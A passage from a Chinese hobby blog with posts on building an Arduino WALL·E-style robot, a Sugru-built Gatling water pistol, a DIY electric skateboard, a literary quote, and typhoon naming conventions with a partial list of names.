Du-Bro是美国的一家生产模型配件的公司,很遗憾我没找到这些产品的国内版本。欢迎在国内见过这些配件的同学提供信息 **5.3 给WALL·E安上一双明亮的眼睛** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d7ca733b58_0064cTs2jw1eurt97bna5j30gg0ccaat.jpg) ● 将舵机和超声波探头出来的线穿过机器人外壳顶部预先留下的长方形开孔 ● 舵机也要插进那个顶部开孔,调整好位置后两边用螺丝与螺母将舵机与外壳固定好,剪去多余的控制杆(还是那个细铁丝) ● 把舵机摇臂与舵机上到一起,用小螺丝刀调整一下保证Makey的眼睛(传感器)朝前 **6 连接并测试驱动电机** **6.1 电机预处理** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3dda68261c_0064cTs2jw1eurt9mapivj30gg0ccjs6.jpg) ● 咱的地摊货电机上的连接头部件是很脆弱滴,所以连接部分一定要用心 ● 从外壳里拆出电机和Arduino线路板 ● 切2红2黑各12英寸(304.8mm,12寸炮是305mm的,比如筑波级的2*2主炮)电线,每条线的两端1英寸(25.4mm)剥去绝缘皮。先别焊接,用一个红黑线对在电机的末端(有电源接点的那一端)缠几圈,以防止拉断,然后让线对从电机顶端通过,用双面泡沫胶带将其固定在电机上。注意不要覆盖电机上的任何孔洞,同时要为电机的固定留足空间 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3dda68261c_0064cTs2jw1eurt92ajn8j30gg0ccaau.jpg) ● 将电容的两个引脚分别穿过电机接线头上的小孔,焊接(这里应该是把引脚穿过去的部分和同一根引脚的根部焊在一起,这样的话引脚和电机接线头就充分连通了。注意,千万别把俩引脚焊在一起!)这需要使用尖嘴钳的巧妙掰弯手法。然后把给电机供电的电线头与电容引脚,注意,不是电机接线头,焊在一起,焊牢稳一些。再然后剪掉多余的电容引脚。把电容和缠在电机末端的电线一起用黑胶布(也就是绝缘胶带)紧密的缠在电机上,并且用更多的泡沫胶带把这个鼓鼓囊囊的位置包起来(还是为了固定) ● 把漏在外面的电机供电线拧成双绞线,这样可以减低电路中的噪声(一个供电的低压直流线路里有点噪声怕什么?原作者的想法好奇怪)。给电机标出左和右 在电机上并联了一个电容,这样做有两个好处。 其一,在稳定的直流电路里,电容是开路,不会影响电机工作,但是给电机通电的那一瞬间,电容因为要充电,可以分担一部分电流,所以电容作为一个保护器件可以保护电机。 其二也是更重要的,这种直流电机的接线头是一个铜合金片,从电机的塑料外壳里伸出来(通常被和塑料铸在一起),鬼知道奸商们用了什么材料,反正这个东西非常脆,尖嘴钳上去经常能掰断,然后这个电机就没啥抢救的价值鸟,另外这个铜片不怎么粘焊锡,焊接不易。但是电容的引脚一般都是类似铝、锡一样的柔韧金属,想怎么扳都能成形,焊起来也容易得多,所以作者把电气连接的活儿都转到这个引脚上来做。 【连电机的小经验】铜接线片作连接之前最好用细砂纸小心的蹭几下,去掉氧化物。电容线脚穿过去之后轻轻拉紧,在穿孔附近用尖嘴钳用力捏一下,使线脚与铜片充分接触。另外电线最好挑独轴的,也就是绝缘皮里面只有一根金属的,那种绝缘皮里有一束极细铜丝的线焊起来会有想死的冲动 **6.2 电机测试** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/722c3cce9c_0064cTs2jw1eurt9eu0vbj30gg0ccaaw.jpg) ● 将短实心跳线分别焊接到电机供电线和电池接头线上,这些跳线可以让你把它们(电机和电池)插到面包板上,焊接之后用热缩胶带作焊点的绝缘(用绝缘胶布缠是一样的,除了丑一点和大一点)。将电机供电线穿过塑料隔板(4.1提到的那个)上的大窟窿(因为面包板和电机分别在隔板上下两侧) ● 按图示把电机驱动器插进面包板中间的一行孔里,使之和电机以及一个电池连通(注意,在面包板上,每一行的孔之间是连通的)。使用短跳线并保证这些线紧贴面包板,傻大黑粗的大电线是不配塞进机器人里的 ● 从 [Arduino官网](http://arduino.cc/) 下载Arduino的软件并且安装之,再从 [资料下载](http://makezine.com/19/makey) 处得到这个项目的5个测试程序。通过USB接口把你的Arduino和电脑连起来,如果你用的是Diecimila版本的话,把它的电源跳线接换到USB档上。 ● 为了测试电机,运行名为01_Test_Motor_Rotation的程序,此时左边的电机应该先往前转再往后转,然后是右边的,先往前再往后。如果不是这样,检查一下你的接线。接下来运行02_Test_Motor_Speed,此时电机应该以低速启动,然后加速,最后反方向转,如果不是这样的话检查线脚D11和D3 **7 连接并测试舵机和传感器** **7.1 连接舵机** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/722c3cce9c_0064cTs2jw1eurt8tfug4j30gg0ccgmc.jpg) ● 将电机和Arduino再装回机器人里面,找两个3针的单排直角插针(通常是将一个20针的单排插针折断得到)插在面包板上,把舵机线接在上面,具体接线规则为:黑线-GND(地线,电池负极),红线-+5V(电池正极),黄线-Arduino跳线D10 ● 再来一个3针右转接头,这个是接超声波探头的,接线规则为黑线-GND(地线,电池负极),红线-+5V(电池正极),黄线-Arduino跳线D9 **7.2 测试舵机和超声波探头** ● 运行舵机对中程序03_Test_Servo_Center,松开舵机摇臂的螺丝并微调,舵机臂与超声传感器尽量指向正前,因为舵机轴齿轮的问题,这一步可能无法完全对中,没关系,我们稍后再调整 ● 运行程序04_Test_Servo_Sweep,这个程序可以让超声波探头慢慢的摇头 ● 再来测试超声波探头,运行05_Test_Sensor_Distance,点击Arduino软件的数据流监视器图标,你应该能看到不断跳出来的测距读数,而且如果你在传感器之前挥舞你的手,测距读数应该有变化。如果你得到的读数始终是0或者255厘米或者别的什么错误的读数,检查你的接线是否有误,并且千万确定你的传感器没接反 :P **7.3 安装开关** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1da6f5e971_0064cTs2jw1eurt9rkq6xj30gg0cct9g.jpg) ● 终于可以接电源开关鸟!把Arduino最后一次拆出来,为了装开关,需要把还没用到的电池引线的红线焊在开关的一端并且把另一跟红线焊在开关的另一端。同样别忘了把电池的黑色引线和另一个根黑线焊在一起 ● 把线从机器人侧面的方形孔穿好,开关需要打在“1”的档位上,把开关塞进方孔里固定好,这个调整可能会用到钳子 ● 把从开关出来的红色线脚接到原型板的RAW线脚上(这个线脚还连着Arduino的Vin线脚),把从电池出来的黑色线接到原型板的GND线脚上,如果你用的是Diecimila版本的话,把它的电源跳线调回到EXT档上 **8 系统测试** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1da6f5e971_0064cTs2jw1eurt9vekpmj30gg0cct9i.jpg) ● 现在所有的电子设备工作都正常鸟,小心的把所有东西塞回机器人里,啥也别落下。装好电池,把机器人放好,别摔了。用来传程序的USB接口应该能从侧面的孔里露出来 ● 重新载入并运行01_Test_Motor_Rotation,注意,所谓前是指机器人的USB接口和传感器指向的方向,如果你的机器人反着跑,检查在线脚AOut1, AOut2, BOut1, BOut2, AIn1, AIn2, BIn1, 和 BIn2处的接线,可能也会需要反转驱动电机的连接 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1aa3c6b6ef_0064cTs2jw1eurt9p2qbkj30gg0cc3z9.jpg) ● 重新运行其他的测试程序,确认接线正常,测试完成后把舵机和传感器的线塞进外壳里,扣上顶盖,拧上4个螺丝固定,收工! **9 给你的WALL·E注入灵魂** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9eaadffabc_0064cTs2jw1eurt9c9mvuj30gg0ccwf9.jpg) ● 有时候你的硬件做好了你就没啥事可干了,不过你的程序是写不完滴。这也是你展示创造力的好时机 ● 在代码中你需要使用digitalWrite和analogWrite这俩函数来控制驱动电机,通过传递值给电机驱动器的各3个线脚。其中一个可以接收介于0到255之间的值,用于控制传给电机的电流大小,这个是用来控制速度的。另外2个线脚则使用布尔型变量,用于决定每个电机两端的电位高低,这个可以决定电机的方向(当然电机两端只能一端是高电位) ● 你可以编写类似void Forward()这样的函数实现简单的动作,比如后退(两个电机同时反转),Spin_Left(原地左转,右轮正转左轮反转),Arc_Left(画弧左转,右轮正转左轮不动)之类的。Arduino的编程环境使你的代码实验和加载都很方便 ● 另外一个好玩的事情是规避障碍,只要运行这样一个循环:往前走,读取测距信息,如果障碍物太近则采取躲避动作比如后退并转弯,返回循环体头部 **10 关于Mini-Sumo(迷你相扑)比赛** ● 在 Mini-Sumo 比赛中,两个自主机器人会被放置在一个用白色漆成的圆形场地中 ● 只要换上窄一些的轮子,比如GM家卖的 这种 ,Makey就可以满足大赛要求的尺寸和重量上限:底面10厘米见方、500克。你极有可能需要另外的朝下的传感器用来观察那个白色的环(场地边界),不过Arduino有足够的能力处理其他多出来的信号 **11 DIYer签到处** 虽然这个项目很困难,不过也不是完全不能做。如果哪位蛋疼的同学把它做出来了…应该会很愿意在这里秀出来让大家围观吧… **制作视频:** [自主机器人:你的私人WALL·E](http://www.geekfan.net/13924/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 牛人自制加特林水枪,让你度过丧心病狂的夏天 Date: 2015-08-04 URL: https://blog.wo.ai/archives/1023 Categories: Uncategorized ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/34c200b910_0064cTs2jw1euqnqiudtfj30sg0fgjtj.jpg) (该项目来源于instractables,[原文链接在这里](http://www.instructables.com/id/Sugrus-Rainbow-Gatling-Water-Pistol/step5/Design-a-custom-sugru-grip/),作者:projectsugru。该项目各步骤主要展示Sugru凝胶(或者是某特种粘土,本文统一译为Sugru凝胶)的应用,对加特林水枪的制作过程没有记录,但文后给出了各零件的图纸,相信DIY达人还是能搞定的。) 夏季的疯狂离不开水枪,我们要做一支史无前例的、帅到没边的加特林水枪,废话略,开始吧。 #### **Step 1: 制作活塞** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c38be25562_0064cTs2jw1euqonsgmbej30gw0e0gp0.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c38be25562_0064cTs2jw1euqoo053cij30gr0h4gqd.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c38be25562_0064cTs2jw1euqoo23mz9j30gu02xjs2.jpg) 本步骤器件清单 PVC管一段,特种粘接剂(两种颜色,名为Sugru,以下称Sugru凝胶),锯子、夹具、锤子、雕刻工具和一杯肥皂水。 步骤: 1、用夹具夹住PVC管,锯下需要的长度(我用了2.5cm长); 2、将肥皂水涂在工作台面上(防止Sugru凝胶粘在台面上); 3、打开两小包同色Sugru凝胶并混合,把Sugru凝胶填充进刚切下的管子里,要完全塞满; 4、放置24小时让Sugru凝胶固化; 5、Sugru凝胶凝固后,将这段管子纵向置于夹具中,把PVC管切开小口(注意不要切到里面的Sugru凝胶); 6、用锤子敲击这段管子,直到把外面的PVC管敲破,得到一段圆柱形Sugru凝胶; 7、用雕刻工具加工圆柱凝胶两端,去掉部分材料,这有助于让活塞更湿软; 8、在这小段Sugru凝胶圆柱中部,沿周向雕刻环形凹槽; 9、打开第3包Sugru凝胶,滚成细长条并填充在上一步做成的凹槽上,注意让环状填充物的周长略大于Sugru凝胶圆柱,并放置24小时; 10、固化后,就得到一段活塞了,可以把它浸入肥皂水中。 #### **Step 2: 做Sugru凝胶注射器** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/eba6057669_0064cTs2jw1euqoo7nsxbj30gr0du77j.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/eba6057669_0064cTs2jw1euqoobq8vxj30go0ccmz3.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/eba6057669_0064cTs2jw1euqooff27tj30gu09576a.jpg) 本步骤器件清单 Sugru凝胶一小包、壁纸刀、可弯曲的塑料管/软管、金属杆(或适合把Sugru凝胶推入管子的东西)、X2金属连接件、螺丝刀。 步骤: 1、用壁纸刀切下一段塑料管子(我们切了4cm长); 2、打开一小包Sugru凝胶,用手指捏成条状(享受这种感觉吧); 3、继续将Sugru凝胶滚成细长条; 4、用金属杆把Sugru凝胶推入塑料管子,从管子的两端推Sugru凝胶,确保Sugru凝胶塞满管子正中,两端留出1cm的空管子,静置24小时; 5、固化后,在Sugru凝胶中心钻通孔,孔径按你的需要确定即可; 6、在这段塑料管子外套上金属连接件。 Ok,Sugru凝胶注射装置就搞定了。 #### **Step 3: Sugru凝胶绝缘开关** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fd47e87912_0064cTs2jw1euqookcdhdj30gw0dw772.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fd47e87912_0064cTs2jw1euqoooexwwj30gp0cbwgg.jpg) 本步骤器件清单 Sugru凝胶一小包,漆包线,电烙铁和焊丝。 步骤: 1、用蓝色交联剂将用到的漆包线固定在恰当位置。 2、预热电烙铁,把两条线焊在合适的位置,确保焊点牢固。 3、取少许Sugru凝胶涂在焊点上,抹平,塑形。 4、放置24小时固化。 #### **Step 4: 用Sugru凝胶连接和密封几段管子** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fd47e87912_0064cTs2jw1euqoospjphj30gv0cwjtp.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/103ed38911_0064cTs2jw1euqoowq89mj30gr0cdjtl.jpg) 本步骤器件清单 Sugru凝胶一小包,各种需要的管子(粗管、细管、渐缩管)。 步骤 1、摊开并排好所需零件。 2、用渐缩管连接管子。 3、将Sugru凝胶涂于连接处,注意Sugru凝胶必须完全覆盖连接点并超出连接部分,这样才能提供足够的结构支撑。 4、抹平Sugru凝胶并放置24小时固化。 #### **Step 5: 定制Sugru凝胶手柄** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/103ed38911_0064cTs2jw1euqop2yqzoj30gp0h2gpa.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/103ed38911_0064cTs2jw1euqop5mjtbj30go08yjse.jpg) 本步骤器件清单 Sugru凝胶4-5小包,手柄。 步骤 1、打开一小包Sugru凝胶,润湿,让它软化。 2、从手柄底部开始涂抹Sugru凝胶(不够再开一包)。 3、继续一点一点地覆盖手柄,确保Sugru凝胶连成一片,完全覆盖了手柄表面。 4、手柄全部覆盖后,可以考虑用嵌入另一种材料的方法给手柄加纹理,我使用了背包带,你也来点创意吧,比如有人用海绵、牙刷,甚至橘子。 5、在Sugru凝胶固化前(从开包到开始固化,有30分钟时间),还可以用力抓握手柄,这样可以印出个性化的抓握痕迹。 #### **Step 6: 用Sugru凝胶做护边** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/82d3bae5b0_0064cTs2jw1euqopcxunsj30gu0h2wj1.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/82d3bae5b0_0064cTs2jw1euqopgovshj30gq08zjt8.jpg) 本步骤器件清单 Sugru凝胶1小包(实际只需要半包就可以保护每根管子)。 步骤 1、打开一小包Sugru凝胶,润湿。 2、取一半,并滚成两个等大的小球。 3、在金属碟尖锐处敷上Sugru凝胶。 4、塑形、平滑Sugru凝胶,确保管子连接正常,放置6小时固化。 5、检查管子和槽孔的配合,注意,如果Sugru凝胶使用过多,可以用壁纸刀在固化前切一点下来,如果Sugru凝胶用得太少,因为Sugru凝胶的粘连性很好,所以只要再加一层就好。 #### **Step 7: 用Sugru凝胶固定松动部件** ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9c838e90b1_0064cTs2jw1euqopllbcoj30gs0dw41e.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9c838e90b1_0064cTs2jw1euqopq2mqkj30gn0c776n.jpg) #### **Step 8: 激光切割件的Dxf和Pdf文件** 这把水枪制作周期长(超过60小时的团队工作量,还有许多无法入眠的夜晚),我们没有记录下全部过程。 实际制作这个大杀器是件令人兴奋的事情,Dxf文件给出了该项目中各组件的激光切割模型,请在这里下载,Pdf文件仅供快速预览,可以在这里下载。 文件的比例是1:1,铝合金零件厚4mm,不锈钢零件厚3mm。 相信这些文件能给你更高的起点。 #### 附件: [3mm stainless steel V2.DXF](http://7xic5x.com2.z0.glb.qiniucdn.com/Ft4ZSjfr1NjVfxOjLQzzMQm98SrZ.DXF?download/3mm%20stainless%20steel%20V2.DXF) [3mm stainless steel V2.PDF](http://7xic5x.com2.z0.glb.qiniucdn.com/FgVaGiea0fyQt9MfgkhajEG0EXrf.PDF?download/3mm%20stainless%20steel%20V2.PDF) [4mm aluminiumV2.dxf](http://7xic5x.com2.z0.glb.qiniucdn.com/FhYNCjbpy4XmfVwLB9lQqU2uTYpK.dxf?download/4mm%20aluminiumV2.dxf) [4mm aluminiumV2.PDF](http://7xic5x.com2.z0.glb.qiniucdn.com/FqsTW0kmf3wXjqB8biFRJ9-gUExq.PDF?download/4mm%20aluminiumV2.PDF) [V2.ISO.PDF](http://7xic5x.com2.z0.glb.qiniucdn.com/Fl9Otda5asBekzRpFQX8d02BTl_e.PDF?download/V2.ISO.PDF) [V2PARTS.PDF](http://7xic5x.com2.z0.glb.qiniucdn.com/Fn_o0W945Cqk8q5mPtTlAzwUGIfJ.PDF?download/V2PARTS.PDF) 视频 [牛人自制加特林水枪,让你度过丧心病狂的夏天](http://www.geekfan.net/13900/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 自制拉风电动滑板,回头率太高有点不习惯 Date: 2015-08-04 URL: https://blog.wo.ai/archives/1022 Categories: Uncategorized 创意是参照了@动力老男孩的一篇文章,最初的想法是DIY一个可穿戴的动力轮,像鞋子一样穿在脚上,不用的时候可以自动折叠收在小腿和膝盖处,用的时候可以伸张成轮子电力驱动快速前进,有点像哪吒的风火轮,主要是受《变形金刚》和《钢铁侠》两部电影毒害太深。后来发现水平极其有限,买了很多零件设备却做不出个所以然,东西都搁置在一边大半年。有天在网上看到动力老男孩的视频是把活力板改装成动力滑板,觉得我所有的材料都有了,就是差一块活力板了,于是速上某宝买了一块。然后就是水到渠成了。 废话不多说,下面上图,有的细节就省掉了 铝合金活力板,6寸皮带轮,皮带,120W有刷电机,控制器,安装支架,万向轮4寸 电池,遥控车手柄,铝盒。这些材料都是网上淘的,如下图: ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3824d82b44_0064cTs2jw1euqlyyf0i7j30fm0bq0tf.jpg) 1,活力板直接卸掉原来的轮座。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/95722a7844_0064cTs2jw1euqlyzby3bj30ez0b8jru.jpg) 2,前轮用4寸的万向轮代替,万向轮的安装孔距(75*45)与活力板(65*35)的不一致,需要自己重新开孔对位,有点麻烦,不过也就是几分钟的事情,开孔搞定。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/381e22325d_0064cTs2jw1euqlz1q625j30b607gt9l.jpg) ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8738ef43f5_0064cTs2jw1euqlz2lhstj30bx08ygls.jpg) 3,后轮找不到合适的支架,直接买了铝合金自己开孔加工的,这个花了两三天时间,因为要同时考虑电机、后轮、皮带和齿轮的重合,肯定要在一条线上面了,不然跑着跑着皮带跑偏掉链子了。电机架是用50*50的角铝做的,后轮支架用的是40*80*40的槽铝与铝排用螺丝铆合,图纸如下。图纸设计好后加工就容易了,手钻定好位,直接开孔就好,把握好力度不要打偏了就行。 电机架 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9757213a67_0064cTs2jw1euqlz4nkgqj30f707gwfc.jpg) 后轮结构 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9757213a67_0064cTs2jw1euqlz5bb0kj305s05ygli.jpg) ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9757213a67_0064cTs2jw1euqlz5xbo2j304n05ydfn.jpg) 4,duang,后轮和电机的安装就搞定了 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9757213a67_0064cTs2jw1euqlzcina5j30h20ck77t.jpg) 机械结构主要工程完工,下面搞控制器。 5,控制器、电池和保护板都是网上买的,根据要求设计尺寸,然后点焊成2并7串,钴酸锂电池29.4V,刚刚配24V的电机,加上均衡充保护板,与控制器一起安装在铝盒里面,然后外接了航空接头和充电口。具体步骤省略,九芯航空接头是为了方便控制手柄接入,引出控制器的速度控制,开关,电量显示,刹车一共9条线,有三条是GND可以共用,其实七芯就可以了。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/76c2e2f01d_0064cTs2jw1euqm5dh38aj307a05h0sl.jpg) ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/76c2e2f01d_0064cTs2jw1euqm5e5dbsj307c05ja9z.jpg) ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/76c2e2f01d_0064cTs2jw1euqm5gp3p4j30ec05hwfg.jpg) 6,为了降低成本,没有使用无线控制,本人对无线控制接收也是一无所知,所以使用传统的有线手柄。控制手柄纯手工打造了,将玩具枪里面的扳机改造了一下,在扳机上加上两颗钕铁硼磁石,在两颗磁铁活动范围中心位置固定霍尔元件。原理跟电动车手把是一样的,转把里有一个感应磁力线大小的线性霍尔元件,手柄里还有两块磁铁,扳机转动磁铁也跟着转动,霍尔感应到磁力信号 就给控制器发出信号,从而控制电机转速。刹车也是改动了扳机,扳机往前推的时候触碰到一个非自锁开关,就能刹车,松开后开关会复位。另外在玩具枪上加上一个拨动开关控制总电源。电量显示还没想好怎么接,先预留着。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/76c2e2f01d_0064cTs2jw1euqm5hiridj309m077wej.jpg) ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/923e6df83a_0064cTs2jw1euqm5i9wusj305d075jrb.jpg) ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3812e2261c_0064cTs2jw1euqm5mxqh5j30f70am0ux.jpg) 7,续航里程8~12km,最大速度18km/h,总重6kg,比网上销售的400RMB左右的铅酸滑板车行程要远,毕竟是锂电池的,动力比起铅酸也有力一些,另外楼主75kg,里程跟使用者体重也有关系吧。总成本在400元左右,忽略某些零件的邮费成本,因为某些零件比邮费还便宜,有兴趣的朋友自己DIY一台吧。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0639c1f13a_0064cTs2jw1euqm6y9ww4g308e08fqv7.gif) 开出去还是挺拉风的,回头率高了有点不习惯。不过要说明的是由于前轮的直径只有100mm,所以如果路不是很平整的话最好不使用,一个是会颠簸的厉害,另外如果前轮被阻了因为重心比较高很容易摔跤的。玩过滑板的都知道,所以最好在柏油路或者在水泥路面上使用,另外要求路上车少人少最好。 元件清单 序号 | 物料名称 | 规格 | 数量 ---|---|---|--- 1 | 面板 | 21*85 | 1 2 | 后轮 | 138*24皮带轮 | 1 3 | 槽铝 | 40*80*4*80 | 1 4 | 铝板 | 100*40*4 | 2 5 | 轴承 | 8*100mm | 1 6 | 后轮皮带调节器 | 通用 | 1 7 | 后轮槽铝螺丝 | M6*8内六角 | 4 8 | 后轮架螺丝 | M5*10内六角 | 8 9 | 后轮架铆合螺母 | M5 | 8 10 | 前轮 | 4寸PU轮 | 1 11 | 前轮架 | 75*45,130mm | 1 12 | 前轮螺丝 | M6*30内六角 | 4 13 | 垫圈 | M6 | 4 14 | 前轮减震弹簧 | D20*20 | 4 15 | 皮带 | 15*420 | 1 16 | 电机 | 100W 24V 5A | 1 17 | 电机齿轮 | | 1 18 | 电机螺丝 | M5 | 2 19 | 电机架锁紧螺丝 | M6*8内六角 | 4 20 | 电机架(角铝) | 50*50*3 | 1 21 | 铝壳 | 106*100*60 | 1 22 | 铝壳螺丝 | 自带 | 8 23 | 铝壳固定螺丝 | M6*8内六角 | 4 24 | 控制器 | 100W | 1 25 | 电池 | 钴酸锂18650 | 14 26 | 保护板 | 2并7串 | 1 27 | 热缩管 | | 若干 28 | 插簧 | 6mm | 2 29 | 接线端子1 | VH3.96-3P 手把 | 1 30 | 接线端子2 | VH3.96-2P 刹车 | 1 31 | 接线端子3 | VH3.96-2P 开关 | 1 32 | 接线端子4 | VH3.96-2P 充电口 | 1 33 | 电子线 | | 若干 34 | 充电接口 | DC-2.5-2.1 | 1 35 | 充电器 | 24V 1.8A | 1 37 | 九芯航空插头 | | 1 38 | 九芯航空线 | | 1 39 | 遥控车手柄 | | 1 41 | 电压显示 | | 1 42 | 开关 | | 1 43 | 触动开关(刹车) | | 1 44 | 胶水 | | 若干 视频: [自制拉风电动滑板,回头率太高有点不习惯](http://www.geekfan.net/13876/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 君心似兰草,秋水作文章 Date: 2015-07-16 URL: https://blog.wo.ai/archives/1016 Categories: Life 在这个光怪陆离的人间,没有谁可以将日子过得行云流水。但我始终相信,走过平湖烟雨,岁月山河,那些历尽劫数、尝遍百味的人,会更加生动而干净。时间永远是旁观者,所有的过程和结果,都需要我们自己承担。 ——白落梅 《因为懂得所以慈悲:张爱玲的倾城往事》 --- ## 台风 台风 灿鸿来了 Date: 2015-07-09 URL: https://blog.wo.ai/archives/1008 Categories: Chatterbox 最近接连三个台风在太平洋共舞之后,开始分头向广东、福建进军了,灿鸿、莲花、浪卡这些名字都很有特色,还有之前听到的海燕、蔷薇之类的,就在网上搜了一下,发现台风的命名很有意思。 据专家介绍,西北太平洋地区是世界上台风(热带风暴)活动最频繁的地区,每年登陆我国就有六、七个之多。多年来,有关国家和地区对出没这里的热带风暴叫法不一,同一台风往往有几个称呼。我国按其发生的区域和时间先后进行四码编号,前两位为年份,后两位为顺序号。设在日本东京的世界气象组织属下的亚太区域专业气象台的台风中心,则以进入东经180度、赤道以北的先后顺序编号。美国关岛海军联合台风警报中心则用英美国家的人名命名,国际传媒在报道中也常用关岛的命名。还有一些国家或地区对影响本区的台风自行取名。为了避免名称混乱,有关国家和地区举行专门会议决定,凡是活跃在西北太平洋地区的台风(热带风暴),从去年起一律使用亚太14个国家(地区)共同认可、具有亚太区域特色的一套新名称,以便于各国人民防台抗灾、加强国际区域合作。 每个国家提供10个,台风委员会命名表共有140个名字,分别由亚太地区的柬埔寨、中国、朝鲜、中国香港、日本、老挝、澳门、马来西亚、密克罗尼西亚联邦、菲律宾、韩国、泰国、美国和越南提供。从头轮到尾,用完了再从头开始。 台风委员会命名表将用于通过国际媒体以及向国际航空和航海界发布的预报、警报和公报中,也供各成员用当地语言发布热带气旋警报时使用。这将有助于人们对逐渐接近的热带气旋提高警觉,增加警报的效用。台风委员会仍将继续使用热带气旋编号。 为避免一名多译造成的不必要的混乱,中国中央气象台和香港天文台、澳门地球物理暨气象台经过协商,已确定了一套统一的中文译名。从2000年l月1日起,中央气象台发布热带气旋警报时,除继续使用热带气旋编号外,还将使用热带气旋名字。如2000年的第1号热带气旋名字为“达维”,由柬埔寨提供。 而2012年第10号台风也叫”达维”,因为从2000年开始,140个名字已经用完了,所以从头开始。2013年龙王名字最后改成了海葵。 附命名表: 序号 英文名 中文名 名字来源 意 义 1-1 Damrey 达维 柬埔寨 大象 1-2 Longwang 龙王 中国 神话传说中的司雨之神 1-3 Kirogi 鸿雁 朝鲜 一种侯鸟,在朝鲜秋来春去 1-4 Kai-tak 启德 中国香港 香港旧机场名 1-5 Tembin 天秤 日本 天秤星座 1-6 Bolaven 布拉万 老挝 高地 1-7 Chanchu 珍珠 中国澳门 珍珠 1-8 Jelawat 杰拉华 马来西亚 一种淡水鱼 1-9 Ewiniar 艾云尼 密克罗尼西亚 传统的风暴神(Chuuk语) 1-10 Bilis 碧利斯 菲律宾 速度 1-11 Kaemi 格美 韩国 蚂蚁 1-12 Prapiroon 派比安 泰国 雨神 1-13 Maria 玛莉亚 美国 女士名(Chamarro语) 1-14 Saomai 桑美 越南 金星 2-1 Bopha 宝霞 柬埔寨 花儿名 2-2 Wukong 悟空 中国 孙悟空 2-3 Sonamu 清松 朝鲜 一种松树,能扎根石崖,四季常绿 2-4 Shanshan 珊珊 中国香港 女孩儿名 2-5 Yagi 摩羯 日本 摩羯星座 2-6 Xangsane 象神 老挝 大象 2-7 Bebinca 贝碧嘉 澳门 澳门牛奶布丁 2-8 Rumbia 温比亚 马来西亚 棕榈树 2-9 Soulik 苏力 密克罗尼西亚 传统的Pohnpei酋长头衔 2-10 Cimaron 西马仑 菲律宾 菲律宾野牛 2-11 Chebi 飞燕 韩国 燕子 2-12 Durian 榴莲 泰国 泰国人喜爱的水果 2-13 Utor 尤特 美国 飑线(Marshalese语) 2-14 Trami 潭美 越南 一种花 3-1 Kong-rey 康妮 柬埔寨 高棉传说中的可爱女孩儿 3-2 Yutu 玉兔 中国 神话传说中的兔子 3-3 Toraji 桃芝 朝鲜 朝鲜深山中的一种花 3-4 Man-yi 万宜 中国香港 海峡名,现为水库 3-5 Usagi 天兔 日本 天兔星座 3-6 Pabuk 帕布 老挝 大淡水鱼 3-7 Wutip 蝴蝶 澳门 一种昆虫 3-8 Sepat 圣帕 马来西亚 一种淡水鱼 3-9 Fitow 菲特 密克罗尼西亚 一种美丽芬香的花(Yapese语) 3-10 Danas 丹娜丝 菲律宾 经历 3-11 Nari 百合 韩国 一种花 3-12 Vipa 韦帕 泰国 女士名字 3-13 Francisco 范斯高 美国 男子名(Chamarro语) 3-14 Lekima 利奇马 越南 一种水果 4-1 Krosa 罗莎 柬埔寨 鹤 4-2 Haiyan 海燕 中国 一种海鸟 4-3 Podul 杨柳 朝鲜 一种在城乡均有种植的树 4-4 Lingling 玲玲 中国香港 女孩儿名 4-5 Kajiki 剑鱼 日本 剑鱼星座 4-6 Faxai 法茜 老挝 女士名字 4-7 Vamei 画眉 澳门 一种鸟 4-8 Tapah 塔巴 马来西亚 一种淡水鱼 4-9 Mitag 米娜 密克罗尼西亚 女士名字(Yap语) 4-10 Hagibis 海贝思 菲律宾 褐雨燕 4-11 Noguri 浣熊 韩国 狗 4-12 Ramasoon 威马逊 泰国 雷神 4-13 Chataan 查特安 美国 雨(Chamorro语) 4-14 Halong 